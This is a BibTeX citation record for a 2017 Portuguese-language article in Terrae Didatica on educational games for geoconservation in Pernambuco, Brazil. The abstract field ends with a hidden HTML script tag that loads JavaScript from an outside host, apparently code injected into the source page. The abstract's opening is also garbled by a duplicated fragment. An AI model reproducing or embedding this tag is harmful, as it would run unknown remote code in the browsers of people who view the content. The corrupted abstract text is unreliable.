@article{Guimarães_Mariano_Sá_2017, place={Campinas, SP}, title={Jogos “geoeducativos” como subsídio à Geoconservação no litoral sul de Pernambuco (NE Brasil): uma proposta}, volume={13}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/td/article/view/8648626}, DOI={10.20396/td.v13i1.8648626}, abstractNote={A preocupação em popularizar as Geociências está presente em todos os aspectos das temáticas que abrangem a geodiA preocupação em popularizar as Geociências está presente em todos os aspectos das temáticas que abrangem a geodiversidade, a geoconservação, o patrimônio geológico, o geoturismo e os geoparques. Popularizar os elementos abióticos é contribuir para que a sociedade desperte e reconheça a importância de praticar a geoconservação. Este trabalho destaca a relevância do processo educativo a partir de atividades voltadas para a educação formal e não formal. Assim, sugere alternativas que possam facilitar a compreensão de alunos e do público em geral, norteadas por atividades pautadas na interdisciplinaridade, geoconservação e popularização das Geociências. Para isso, foram elaborados protótipos de “jogos geoeducativos”, tendo como proposta aplicá-los em espaços educacionais formais e não. Nesse sentido, foram realizadas pesquisas bibliográficas e vivenciadas experiências in loco, como visitas a museus, geoparques e participação em workshops. A partir do conhecimento adquirido com este trabalho ratifica-se a importância da utilização de materiais específicos direcionados à geodiversidade e ao patrimônio geológico.<script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, number={1}, journal={Terrae Didatica}, author={Guimarães, Thaís de Oliveira and Mariano, Gorki and Sá, Artur Abreu e}, year={2017}, month={ago.}, pages={30–42} }